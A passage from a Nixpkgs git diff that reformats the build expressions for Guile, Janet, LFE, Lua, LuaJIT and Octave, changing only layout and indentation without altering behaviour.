   # "libgcc_s.so.1 must be installed for pthread_cancel to work".
@@ -98,40 +98,38 @@ builder rec {
     !stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isMusl
   ) "-lgcc_s";
 
-  configureFlags =
-    [
-      "--with-libreadline-prefix"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isSunOS [
-      # Make sure the right <gmp.h> is found, and not the incompatible
-      # /usr/include/mp.h from OpenSolaris. See
-      # <https://lists.gnu.org/archive/html/hydra-users/2012-08/msg00000.html>
-      # for details.
-      "--with-libgmp-prefix=${lib.getDev gmp}"
+  configureFlags = [
+    "--with-libreadline-prefix"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isSunOS [
+    # Make sure the right <gmp.h> is found, and not the incompatible
+    # /usr/include/mp.h from OpenSolaris. See
+    # <https://lists.gnu.org/archive/html/hydra-users/2012-08/msg00000.html>
+    # for details.
+    "--with-libgmp-prefix=${lib.getDev gmp}"
 
-      # Same for these (?).
-      "--with-libreadline-prefix=${lib.getDev readline}"
-      "--with-libunistring-prefix=${libunistring}"
+    # Same for these (?).
+    "--with-libreadline-prefix=${lib.getDev readline}"
+    "--with-libunistring-prefix=${libunistring}"
 
-      # See below.
-      "--without-threads"
-    ];
+    # See below.
+    "--without-threads"
+  ];
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
-    ''
-    # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
-    # why `--with-libunistring-prefix' and similar options coming from
-    # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
-    + ''
-      sed -i "$out/lib/pkgconfig/guile"-*.pc    \
-          -e "s|-lunistring|-L${libunistring}/lib -lunistring|g ;
-              s|^Cflags:\(.*\)$|Cflags: -I${libunistring.dev}/include \1|g ;
-              s|-lltdl|-L${libtool.lib}/lib -lltdl|g ;
-              s|includedir=$out|includedir=$dev|g
-              "
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
+  ''
+  # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
+  # why `--with-libunistring-prefix' and similar options coming from
+  # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
+  + ''
+    sed -i "$out/lib/pkgconfig/guile"-*.pc    \
+        -e "s|-lunistring|-L${libunistring}/lib -lunistring|g ;
+            s|^Cflags:\(.*\)$|Cflags: -I${libunistring.dev}/include \1|g ;
+            s|-lltdl|-L${libtool.lib}/lib -lltdl|g ;
+            s|includedir=$out|includedir=$dev|g
+            "
+  '';
 
   # make check doesn't work on darwin
   # On Linuxes+Hydra the tests are flaky; feel free to investigate deeper.
diff --git a/pkgs/development/interpreters/guile/2.2.nix b/pkgs/development/interpreters/guile/2.2.nix
index deb74210bdb7..2d83596f0746 100644
--- a/pkgs/development/interpreters/guile/2.2.nix
+++ b/pkgs/development/interpreters/guile/2.2.nix
@@ -39,7 +39,8 @@ builder rec {
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_2_2;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_2_2;
   nativeBuildInputs = [
     makeWrapper
     pkg-config
@@ -70,16 +71,15 @@ builder rec {
   # re: https://build.opensuse.org/request/show/732638
   enableParallelBuilding = false;
 
-  patches =
-    [
-      # Read the header of the patch to more info
-      ./eai_system.patch
-    ]
-    ++ lib.optional (coverageAnalysis != null) ./gcov-file-name.patch
-    ++ lib.optional stdenv.hostPlatform.isDarwin (fetchpatch {
-      url = "https://gitlab.gnome.org/GNOME/gtk-osx/raw/52898977f165777ad9ef169f7d4818f2d4c9b731/patches/guile-clocktime.patch";
-      sha256 = "12wvwdna9j8795x59ldryv9d84c1j3qdk2iskw09306idfsis207";
-    });
+  patches = [
+    # Read the header of the patch to more info
+    ./eai_system.patch
+  ]
+  ++ lib.optional (coverageAnalysis != null) ./gcov-file-name.patch
+  ++ lib.optional stdenv.hostPlatform.isDarwin (fetchpatch {
+    url = "https://gitlab.gnome.org/GNOME/gtk-osx/raw/52898977f165777ad9ef169f7d4818f2d4c9b731/patches/guile-clocktime.patch";
+    sha256 = "12wvwdna9j8795x59ldryv9d84c1j3qdk2iskw09306idfsis207";
+  });
 
   # Explicitly link against libgcc_s, to work around the infamous
   # "libgcc_s.so.1 must be installed for pthread_cancel to work".
@@ -87,39 +87,37 @@ builder rec {
   # don't have "libgcc_s.so.1" on clang
   LDFLAGS = lib.optionalString (stdenv.cc.isGNU && !stdenv.hostPlatform.isStatic) "-lgcc_s";
 
-  configureFlags =
-    [
-      "--with-libreadline-prefix=${lib.getDev readline}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isSunOS [
-      # Make sure the right <gmp.h> is found, and not the incompatible
-      # /usr/include/mp.h from OpenSolaris.  See
-      # <https://lists.gnu.org/archive/html/hydra-users/2012-08/msg00000.html>
-      # for details.
-      "--with-libgmp-prefix=${lib.getDev gmp}"
+  configureFlags = [
+    "--with-libreadline-prefix=${lib.getDev readline}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isSunOS [
+    # Make sure the right <gmp.h> is found, and not the incompatible
+    # /usr/include/mp.h from OpenSolaris.  See
+    # <https://lists.gnu.org/archive/html/hydra-users/2012-08/msg00000.html>
+    # for details.
+    "--with-libgmp-prefix=${lib.getDev gmp}"
 
-      # Same for these (?).
-      "--with-libunistring-prefix=${libunistring}"
+    # Same for these (?).
+    "--with-libunistring-prefix=${libunistring}"
 
-      # See below.
-      "--without-threads"
-    ];
+    # See below.
+    "--without-threads"
+  ];
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
-    ''
-    # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
-    # why `--with-libunistring-prefix' and similar options coming from
-    # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
-    + ''
-      sed -i "$out/lib/pkgconfig/guile"-*.pc    \
-          -e "s|-lunistring|-L${libunistring}/lib -lunistring|g ;
-              s|^Cflags:\(.*\)$|Cflags: -I${libunistring.dev}/include \1|g ;
-              s|-lltdl|-L${libtool.lib}/lib -lltdl|g ;
-              s|includedir=$out|includedir=$dev|g
-              "
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
+  ''
+  # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
+  # why `--with-libunistring-prefix' and similar options coming from
+  # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
+  + ''
+    sed -i "$out/lib/pkgconfig/guile"-*.pc    \
+        -e "s|-lunistring|-L${libunistring}/lib -lunistring|g ;
+            s|^Cflags:\(.*\)$|Cflags: -I${libunistring.dev}/include \1|g ;
+            s|-lltdl|-L${libtool.lib}/lib -lltdl|g ;
+            s|includedir=$out|includedir=$dev|g
+            "
+  '';
 
   # make check doesn't work on darwin
   # On Linuxes+Hydra the tests are flaky; feel free to investigate deeper.
diff --git a/pkgs/development/interpreters/guile/3.0.nix b/pkgs/development/interpreters/guile/3.0.nix
index 473c05ea8383..2fae30c0f86a 100644
--- a/pkgs/development/interpreters/guile/3.0.nix
+++ b/pkgs/development/interpreters/guile/3.0.nix
@@ -41,36 +41,35 @@ builder rec {
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_3_0;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) pkgsBuildBuild.guile_3_0;
   nativeBuildInputs = [
     makeWrapper
     pkg-config
   ];
-  buildInputs =
-    [
-      libffi
-      libtool
-      libunistring
-      readline
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libxcrypt
-    ];
-  propagatedBuildInputs =
-    [
-      boehmgc
-      gmp
+  buildInputs = [
+    libffi
+    libtool
+    libunistring
+    readline
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libxcrypt
+  ];
+  propagatedBuildInputs = [
+    boehmgc
+    gmp
 
-      # These ones aren't normally needed here, but `libguile*.la' has '-l'
-      # flags for them without corresponding '-L' flags. Adding them here will
-      # add the needed `-L' flags.  As for why the `.la' file lacks the `-L'
-      # flags, see below.
-      libtool
-      libunistring
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libxcrypt
-    ];
+    # These ones aren't normally needed here, but `libguile*.la' has '-l'
+    # flags for them without corresponding '-L' flags. Adding them here will
+    # add the needed `-L' flags.  As for why the `.la' file lacks the `-L'
+    # flags, see below.
+    libtool
+    libunistring
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libxcrypt
+  ];
 
   # According to
   # https://git.savannah.gnu.org/cgit/guix.git/tree/gnu/packages/guile.scm?h=a39207f7afd977e4e4299c6f0bb34bcb6d153818#n405
@@ -78,15 +77,14 @@ builder rec {
   # bit-reproducibly as long as we're not cross-compiling
   enableParallelBuilding = stdenv.buildPlatform == stdenv.hostPlatform;
 
-  patches =
-    [
-      ./eai_system.patch
-    ]
-    ++ lib.optional (coverageAnalysis != null) ./gcov-file-name.patch
-    ++ lib.optional stdenv.hostPlatform.isDarwin (fetchpatch {
-      url = "https://gitlab.gnome.org/GNOME/gtk-osx/raw/52898977f165777ad9ef169f7d4818f2d4c9b731/patches/guile-clocktime.patch";
-      sha256 = "12wvwdna9j8795x59ldryv9d84c1j3qdk2iskw09306idfsis207";
-    });
+  patches = [
+    ./eai_system.patch
+  ]
+  ++ lib.optional (coverageAnalysis != null) ./gcov-file-name.patch
+  ++ lib.optional stdenv.hostPlatform.isDarwin (fetchpatch {
+    url = "https://gitlab.gnome.org/GNOME/gtk-osx/raw/52898977f165777ad9ef169f7d4818f2d4c9b731/patches/guile-clocktime.patch";
+    sha256 = "12wvwdna9j8795x59ldryv9d84c1j3qdk2iskw09306idfsis207";
+  });
 
   # Explicitly link against libgcc_s, to work around the infamous
   # "libgcc_s.so.1 must be installed for pthread_cancel to work".
@@ -94,43 +92,41 @@ builder rec {
   # don't have "libgcc_s.so.1" on clang
   LDFLAGS = lib.optionalString (stdenv.cc.isGNU && !stdenv.hostPlatform.isStatic) "-lgcc_s";
 
-  configureFlags =
-    [
-      "--with-libreadline-prefix=${lib.getDev readline}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isSunOS [
-      # Make sure the right <gmp.h> is found, and not the incompatible
-      # /usr/include/mp.h from OpenSolaris.  See
-      # <https://lists.gnu.org/archive/html/hydra-users/2012-08/msg00000.html>
-      # for details.
-      "--with-libgmp-prefix=${lib.getDev gmp}"
+  configureFlags = [
+    "--with-libreadline-prefix=${lib.getDev readline}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isSunOS [
+    # Make sure the right <gmp.h> is found, and not the incompatible
+    # /usr/include/mp.h from OpenSolaris.  See
+    # <https://lists.gnu.org/archive/html/hydra-users/2012-08/msg00000.html>
+    # for details.
+    "--with-libgmp-prefix=${lib.getDev gmp}"
 
-      # Same for these (?).
-      "--with-libunistring-prefix=${libunistring}"
+    # Same for these (?).
+    "--with-libunistring-prefix=${libunistring}"
 
-      # See below.
-      "--without-threads"
-    ]
-    # At least on x86_64-darwin '-flto' autodetection is not correct:
-    #  https://github.com/NixOS/nixpkgs/pull/160051#issuecomment-1046193028
-    ++ lib.optional (stdenv.hostPlatform.isDarwin) "--disable-lto";
+    # See below.
+    "--without-threads"
+  ]
+  # At least on x86_64-darwin '-flto' autodetection is not correct:
+  #  https://github.com/NixOS/nixpkgs/pull/160051#issuecomment-1046193028
+  ++ lib.optional (stdenv.hostPlatform.isDarwin) "--disable-lto";
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
-    ''
-    # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
-    # why `--with-libunistring-prefix' and similar options coming from
-    # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
-    + ''
-      sed -i "$out/lib/pkgconfig/guile"-*.pc    \
-          -e "s|-lunistring|-L${libunistring}/lib -lunistring|g ;
-              s|-lltdl|-L${libtool.lib}/lib -lltdl|g ;
-              s|-lcrypt|-L${libxcrypt}/lib -lcrypt|g ;
-              s|^Cflags:\(.*\)$|Cflags: -I${libunistring.dev}/include \1|g ;
-              s|includedir=$out|includedir=$dev|g
-              "
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/guile-snarf --prefix PATH : "${gawk}/bin"
+  ''
+  # XXX: See http://thread.gmane.org/gmane.comp.lib.gnulib.bugs/18903 for
+  # why `--with-libunistring-prefix' and similar options coming from
+  # `AC_LIB_LINKFLAGS_BODY' don't work on NixOS/x86_64.
+  + ''
+    sed -i "$out/lib/pkgconfig/guile"-*.pc    \
+        -e "s|-lunistring|-L${libunistring}/lib -lunistring|g ;
+            s|-lltdl|-L${libtool.lib}/lib -lltdl|g ;
+            s|-lcrypt|-L${libxcrypt}/lib -lcrypt|g ;
+            s|^Cflags:\(.*\)$|Cflags: -I${libunistring.dev}/include \1|g ;
+            s|includedir=$out|includedir=$dev|g
+            "
+  '';
 
   # make check doesn't work on darwin
   # On Linuxes+Hydra the tests are flaky; feel free to investigate deeper.
diff --git a/pkgs/development/interpreters/janet/default.nix b/pkgs/development/interpreters/janet/default.nix
index 3c193dbe7d03..ffb01c59f78e 100644
--- a/pkgs/development/interpreters/janet/default.nix
+++ b/pkgs/development/interpreters/janet/default.nix
@@ -19,16 +19,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-PLfBFsZqwSpE+3cduDXyRZZDpiL8+zHyIjVopK0oqPo=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace janet.1 \
-        --replace /usr/local/ $out/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # error: Socket is not connected
-      substituteInPlace meson.build \
-        --replace "'test/suite-ev.janet'," ""
-    '';
+  postPatch = ''
+    substituteInPlace janet.1 \
+      --replace /usr/local/ $out/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # error: Socket is not connected
+    substituteInPlace meson.build \
+      --replace "'test/suite-ev.janet'," ""
+  '';
 
   nativeBuildInputs = [
     meson
diff --git a/pkgs/development/interpreters/lfe/generic-builder.nix b/pkgs/development/interpreters/lfe/generic-builder.nix
index 9501d712785d..f0bab45c673b 100644
--- a/pkgs/development/interpreters/lfe/generic-builder.nix
+++ b/pkgs/development/interpreters/lfe/generic-builder.nix
@@ -68,7 +68,8 @@ else
     patches = [
       ./fix-rebar-config.patch
       ./dedup-ebins.patch
-    ] ++ patches;
+    ]
+    ++ patches;
     doCheck = true;
     checkTarget = "travis";
 
diff --git a/pkgs/development/interpreters/lua-5/build-luarocks-package.nix b/pkgs/development/interpreters/lua-5/build-luarocks-package.nix
index 71ad7bbb0989..736c9463521f 100644
--- a/pkgs/development/interpreters/lua-5/build-luarocks-package.nix
+++ b/pkgs/development/interpreters/lua-5/build-luarocks-package.nix
@@ -90,7 +90,8 @@ let
         __structuredAttrs = true;
         env = {
           LUAROCKS_CONFIG = self.configFile;
-        } // attrs.env or { };
+        }
+        // attrs.env or { };
 
         generatedRockspecFilename = "./${self.pname}-${self.rockspecVersion}.rockspec";
 
@@ -132,12 +133,10 @@ let
           text = self.luarocks_content;
         };
 
-        luarocks_content =
-          (lib.generators.toLua { asBindings = true; } self.luarocksConfig)
-          + ''
+        luarocks_content = (lib.generators.toLua { asBindings = true; } self.luarocksConfig) + ''
 
-            ${self.extraConfig}
-          '';
+          ${self.extraConfig}
+        '';
 
         # TODO make it the default variable
         luarocksConfig =
@@ -172,22 +171,21 @@ let
           in
           lib.recursiveUpdate generatedConfig luarocksConfig';
 
-        configurePhase =
-          ''
-            runHook preConfigure
-          ''
-          + lib.optionalString (self.rockspecFilename == null) ''
-            rockspecFilename="${self.generatedRockspecFilename}"
-          ''
-          + lib.optionalString (self.knownRockspec != null) ''
-            # prevents the following type of error:
-            # Inconsistency between rockspec filename (42fm1b3d7iv6fcbhgm9674as3jh6y2sh-luv-1.22.0-1.rockspec) and its contents (luv-1.22.0-1.rockspec)
-            rockspecFilename="$TMP/$(stripHash ${self.knownRockspec})"
-            cp ${self.knownRockspec} "$rockspecFilename"
-          ''
-          + ''
-            runHook postConfigure
-          '';
+        configurePhase = ''
+          runHook preConfigure
+        ''
+        + lib.optionalString (self.rockspecFilename == null) ''
+          rockspecFilename="${self.generatedRockspecFilename}"
+        ''
+        + lib.optionalString (self.knownRockspec != null) ''
+          # prevents the following type of error:
+          # Inconsistency between rockspec filename (42fm1b3d7iv6fcbhgm9674as3jh6y2sh-luv-1.22.0-1.rockspec) and its contents (luv-1.22.0-1.rockspec)
+          rockspecFilename="$TMP/$(stripHash ${self.knownRockspec})"
+          cp ${self.knownRockspec} "$rockspecFilename"
+        ''
+        + ''
+          runHook postConfigure
+        '';
 
         buildPhase = ''
           runHook preBuild
@@ -243,14 +241,16 @@ let
 
         passthru = {
           inherit lua;
-        } // attrs.passthru or { };
+        }
+        // attrs.passthru or { };
 
         meta = {
           platforms = lua.meta.platforms;
           # add extra maintainer(s) to every package
           maintainers = (attrs.meta.maintainers or [ ]) ++ [ ];
           broken = disabled;
-        } // attrs.meta or { };
+        }
+        // attrs.meta or { };
       }
     )
   );
diff --git a/pkgs/development/interpreters/lua-5/default.nix b/pkgs/development/interpreters/lua-5/default.nix
index 8e6b68f27a60..b6562f4137b2 100644
--- a/pkgs/development/interpreters/lua-5/default.nix
+++ b/pkgs/development/interpreters/lua-5/default.nix
@@ -156,7 +156,8 @@ rec {
     inherit passthruFun;
     patches = [
       ./CVE-2022-28805.patch
-    ] ++ lib.optional stdenv.hostPlatform.isDarwin ./5.2.darwin.patch;
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin ./5.2.darwin.patch;
   };
 
   lua5_2_compat = lua5_2.override ({
diff --git a/pkgs/development/interpreters/lua-5/interpreter.nix b/pkgs/development/interpreters/lua-5/interpreter.nix
index c6db643eb79b..7142370b89f6 100644
--- a/pkgs/development/interpreters/lua-5/interpreter.nix
+++ b/pkgs/development/interpreters/lua-5/interpreter.nix
@@ -84,20 +84,19 @@ stdenv.mkDerivation (
 
     inherit patches;
 
-    postPatch =
-      ''
-        sed -i "s@#define LUA_ROOT[[:space:]]*\"/usr/local/\"@#define LUA_ROOT  \"$out/\"@g" src/luaconf.h
+    postPatch = ''
+      sed -i "s@#define LUA_ROOT[[:space:]]*\"/usr/local/\"@#define LUA_ROOT  \"$out/\"@g" src/luaconf.h
 
-        # abort if patching didn't work
-        grep $out src/luaconf.h
-      ''
-      + lib.optionalString (!stdenv.hostPlatform.isDarwin && !staticOnly) ''
-        # Add a target for a shared library to the Makefile.
-        sed -e '1s/^/LUA_SO = liblua.so/' \
-            -e 's/ALL_T *= */&$(LUA_SO) /' \
-            -i src/Makefile
-        cat ${./lua-dso.make} >> src/Makefile
-      '';
+      # abort if patching didn't work
+      grep $out src/luaconf.h
+    ''
+    + lib.optionalString (!stdenv.hostPlatform.isDarwin && !staticOnly) ''
+      # Add a target for a shared library to the Makefile.
+      sed -e '1s/^/LUA_SO = liblua.so/' \
+          -e 's/ALL_T *= */&$(LUA_SO) /' \
+          -i src/Makefile
+      cat ${./lua-dso.make} >> src/Makefile
+    '';
 
     env = {
       inherit luaversion;
diff --git a/pkgs/development/interpreters/lua-5/wrapper.nix b/pkgs/development/interpreters/lua-5/wrapper.nix
index 02e4a4e64055..09399efc95ca 100644
--- a/pkgs/development/interpreters/lua-5/wrapper.nix
+++ b/pkgs/development/interpreters/lua-5/wrapper.nix
@@ -30,39 +30,38 @@ let
       ];
 
       # we create wrapper for the binaries in the different packages
-      postBuild =
-        ''
-          source ${lua}/nix-support/utils.sh
-          if [ -L "$out/bin" ]; then
-              unlink "$out/bin"
-          fi
-          mkdir -p "$out/bin"
+      postBuild = ''
+        source ${lua}/nix-support/utils.sh
+        if [ -L "$out/bin" ]; then
+            unlink "$out/bin"
+        fi
+        mkdir -p "$out/bin"
 
-          buildLuaPath "$out"
+        buildLuaPath "$out"
 
-          # take every binary from lua packages and put them into the env
-          for path in ${lib.concatStringsSep " " paths}; do
-            nix_debug "looking for binaries in path = $path"
-            if [ -d "$path/bin" ]; then
-              cd "$path/bin"
-              for prg in *; do
-                if [ -f "$prg" ]; then
-                  rm -f "$out/bin/$prg"
-                  if [ -x "$prg" ]; then
-                    nix_debug "Making wrapper $prg"
-                    makeWrapper "$path/bin/$prg" "$out/bin/$prg" \
-                      --set-default LUA_PATH ";;" \
-                      --suffix LUA_PATH ';' "$LUA_PATH" \
-                      --set-default LUA_CPATH ";;" \
-                      --suffix LUA_CPATH ';' "$LUA_CPATH" \
-                      ${lib.concatStringsSep " " makeWrapperArgs}
-                  fi
+        # take every binary from lua packages and put them into the env
+        for path in ${lib.concatStringsSep " " paths}; do
+          nix_debug "looking for binaries in path = $path"
+          if [ -d "$path/bin" ]; then
+            cd "$path/bin"
+            for prg in *; do
+              if [ -f "$prg" ]; then
+                rm -f "$out/bin/$prg"
+                if [ -x "$prg" ]; then
+                  nix_debug "Making wrapper $prg"
+                  makeWrapper "$path/bin/$prg" "$out/bin/$prg" \
+                    --set-default LUA_PATH ";;" \
+                    --suffix LUA_PATH ';' "$LUA_PATH" \
+                    --set-default LUA_CPATH ";;" \
+                    --suffix LUA_CPATH ';' "$LUA_CPATH" \
+                    ${lib.concatStringsSep " " makeWrapperArgs}
                 fi
-              done
-            fi
-          done
-        ''
-        + postBuild;
+              fi
+            done
+          fi
+        done
+      ''
+      + postBuild;
 
       inherit (lua) meta;
 
diff --git a/pkgs/development/interpreters/luajit/default.nix b/pkgs/development/interpreters/luajit/default.nix
index f7ab39cfbcad..a4f7754ed05b 100644
--- a/pkgs/development/interpreters/luajit/default.nix
+++ b/pkgs/development/interpreters/luajit/default.nix
@@ -87,15 +87,14 @@ stdenv.mkDerivation (finalAttrs: {
   buildFlags = [
     "amalg" # Build highly optimized version
   ];
-  makeFlags =
-    [
-      "PREFIX=$(out)"
-      "DEFAULT_CC=cc"
-      "CROSS=${stdenv.cc.targetPrefix}"
-      "HOST_CC=${buildStdenv.cc}/bin/cc"
-    ]
-    ++ lib.optional enableJITDebugModule "INSTALL_LJLIBD=$(INSTALL_LMOD)"
-    ++ lib.optional stdenv.hostPlatform.isStatic "BUILDMODE=static";
+  makeFlags = [
+    "PREFIX=$(out)"
+    "DEFAULT_CC=cc"
+    "CROSS=${stdenv.cc.targetPrefix}"
+    "HOST_CC=${buildStdenv.cc}/bin/cc"
+  ]
+  ++ lib.optional enableJITDebugModule "INSTALL_LJLIBD=$(INSTALL_LMOD)"
+  ++ lib.optional stdenv.hostPlatform.isStatic "BUILDMODE=static";
   enableParallelBuilding = true;
   env.NIX_CFLAGS_COMPILE = toString XCFLAGS;
 
diff --git a/pkgs/development/interpreters/octave/build-env.nix b/pkgs/development/interpreters/octave/build-env.nix
index 8a1bebccf670..d83003aa8a8a 100644
--- a/pkgs/development/interpreters/octave/build-env.nix
+++ b/pkgs/development/interpreters/octave/build-env.nix
@@ -38,55 +38,54 @@ buildEnv {
   # Then, we can re-symlink the all of octave/share, except for /share/octave
   # in env/share/octave, re-symlink everything from octave/share/octave and then
   # perform the pkg install.
-  postBuild =
-    ''
-      if [ -L "$out/bin" ]; then
-         unlink $out/bin
-         mkdir -p "$out/bin"
-         cd "${octave}/bin"
-         for prg in *; do
-             if [ -x $prg ]; then
-                makeWrapper "${octave}/bin/$prg" "$out/bin/$prg" \
-                            --set OCTAVE_SITE_INITFILE "$out/share/octave/site/m/startup/octaverc" \
-                            --set LOCALE_ARCHIVE "${glibcLocalesUtf8}/lib/locale/locale-archive"
-             fi
-         done
-         cd $out
-      fi
+  postBuild = ''
+    if [ -L "$out/bin" ]; then
+       unlink $out/bin
+       mkdir -p "$out/bin"
+       cd "${octave}/bin"
+       for prg in *; do
+           if [ -x $prg ]; then
+              makeWrapper "${octave}/bin/$prg" "$out/bin/$prg" \
+                          --set OCTAVE_SITE_INITFILE "$out/share/octave/site/m/startup/octaverc" \
+                          --set LOCALE_ARCHIVE "${glibcLocalesUtf8}/lib/locale/locale-archive"
+           fi
+       done
+       cd $out
+    fi
 
-      # Remove symlinks to the input tarballs, they aren't needed, use -f so it
-      # will not fail if no .tar.gz symlinks are there - for example if
-      # sommething which is not a tarball used as a package
-      rm -f $out/*.tar.gz
+    # Remove symlinks to the input tarballs, they aren't needed, use -f so it
+    # will not fail if no .tar.gz symlinks are there - for example if
+    # sommething which is not a tarball used as a package
+    rm -f $out/*.tar.gz
 
-      createOctavePackagesPath $out ${octave}
+    createOctavePackagesPath $out ${octave}
 
-      # Create the file even if the loop afterwards has no packages to run over
-      touch $out/.octave_packages
-      for path in ${lib.concatStringsSep " " packages}; do
-          if [ -e $path/*.tar.gz ]; then
-             $out/bin/octave-cli --eval "pkg local_list $out/.octave_packages; \
-                                         pkg prefix $out/${octave.octPkgsPath} $out/${octave.octPkgsPath}; \
-                                         pfx = pkg (\"prefix\"); \
-                                         pkg install -nodeps -local $path/*.tar.gz"
-          fi
-      done
+    # Create the file even if the loop afterwards has no packages to run over
+    touch $out/.octave_packages
+    for path in ${lib.concatStringsSep " " packages}; do
+        if [ -e $path/*.tar.gz ]; then
+           $out/bin/octave-cli --eval "pkg local_list $out/.octave_packages; \
+                                       pkg prefix $out/${octave.octPkgsPath} $out/${octave.octPkgsPath}; \
+                                       pfx = pkg (\"prefix\"); \
+                                       pkg install -nodeps -local $path/*.tar.gz"
+        fi
+    done
 
-      # Re-write the octave-wide startup file (share/octave/site/m/startup/octaverc)
-      # To point to the new local_list in $out
-      addPkgLocalList $out ${octave}
+    # Re-write the octave-wide startup file (share/octave/site/m/startup/octaverc)
+    # To point to the new local_list in $out
+    addPkgLocalList $out ${octave}
 
-      wrapOctavePrograms "${lib.concatStringsSep " " packages}"
-      # We also need to modify the Exec= line of the desktop file, so it will point
-      # to the wrapper we generated above.
-      rm $out/share/applications # should be a symlink to ${octave}/share/applications
-      mkdir $out/share/applications
-      substitute \
-        ${octave}/share/applications/org.octave.Octave.desktop \
-        $out/share/applications/org.octave.Octave.desktop \
-        --replace-fail ${octave}/bin/octave $out/bin/octave
-    ''
-    + postBuild;
+    wrapOctavePrograms "${lib.concatStringsSep " " packages}"
+    # We also need to modify the Exec= line of the desktop file, so it will point
+    # to the wrapper we generated above.
+    rm $out/share/applications # should be a symlink to ${octave}/share/applications
+    mkdir $out/share/applications
+    substitute \
+      ${octave}/share/applications/org.octave.Octave.desktop \
+      $out/share/applications/org.octave.Octave.desktop \
+      --replace-fail ${octave}/bin/octave $out/bin/octave
+  ''
+  + postBuild;
 
   inherit (octave) meta;
 
diff --git a/pkgs/development/interpreters/octave/build-octave-package.nix b/pkgs/development/interpreters/octave/build-octave-package.nix
index 43760c6c511e..a3eb25d2f410 100644
--- a/pkgs/development/interpreters/octave/build-octave-package.nix
+++ b/pkgs/development/interpreters/octave/build-octave-package.nix
@@ -62,14 +62,16 @@ let
   nativeBuildInputs' = [
     octave
     writeRequiredOctavePackagesHook
-  ] ++ nativeBuildInputs;
+  ]
+  ++ nativeBuildInputs;
 
   passthru' = {
     updateScript = [
       ../../../../maintainers/scripts/update-octave-packages
       (builtins.unsafeGetAttrPos "pname" octave.pkgs.${attrs.pname}).file
     ];
-  } // passthru;
+  }
+  // passthru;
 
   # This step is required because when
   # a = { test = [ "a" "b" ]; }; b = { test = [ "c" "d" ]; };
diff --git a/pkgs/development/interpreters/octave/default.nix b/pkgs/development/interpreters/octave/default.nix
index 0107a5872693..7a0e6d5e5a97 100644
--- a/pkgs/development/interpreters/octave/default.nix
+++ b/pkgs/development/interpreters/octave/default.nix
@@ -109,64 +109,62 @@ stdenv.mkDerivation (finalAttrs: {
     patchShebangs --build build-aux/*.pl
   '';
 
-  buildInputs =
-    [
-      readline
-      ncurses
-      flex
-      qhull
-      graphicsmagick
-      pcre2
-      fltk
-      zlib
-      curl
-      rapidjson
-      blas'
-      lapack'
-      libsndfile
-      fftw
-      fftwSinglePrec
-      portaudio
-      qrupdate'
-      arpack'
-      libwebp
-      gl2ps
-      ghostscript
-      hdf5
-      glpk
-      suitesparse'
-      sundials
-      gnuplot
-      python3
-    ]
-    ++ lib.optionals enableQt [
-      libsForQt5.qtbase
-      libsForQt5.qtsvg
-      libsForQt5.qscintilla
-    ]
-    ++ lib.optionals (enableJava) [
-      jdk
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGL
-      libGLU
-      libX11
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
-  nativeBuildInputs =
-    [
-      perl
-      pkg-config
-      gfortran
-      texinfo
-    ]
-    ++ lib.optionals enableQt [
-      libsForQt5.wrapQtAppsHook
-      libsForQt5.qtscript
-      libsForQt5.qttools
-    ];
+  buildInputs = [
+    readline
+    ncurses
+    flex
+    qhull
+    graphicsmagick
+    pcre2
+    fltk
+    zlib
+    curl
+    rapidjson
+    blas'
+    lapack'
+    libsndfile
+    fftw
+    fftwSinglePrec
+    portaudio
+    qrupdate'
+    arpack'
+    libwebp
+    gl2ps
+    ghostscript
+    hdf5
+    glpk
+    suitesparse'
+    sundials
+    gnuplot
+    python3
+  ]
+  ++ lib.optionals enableQt [
+    libsForQt5.qtbase
+    libsForQt5.qtsvg
+    libsForQt5.qscintilla
+  ]
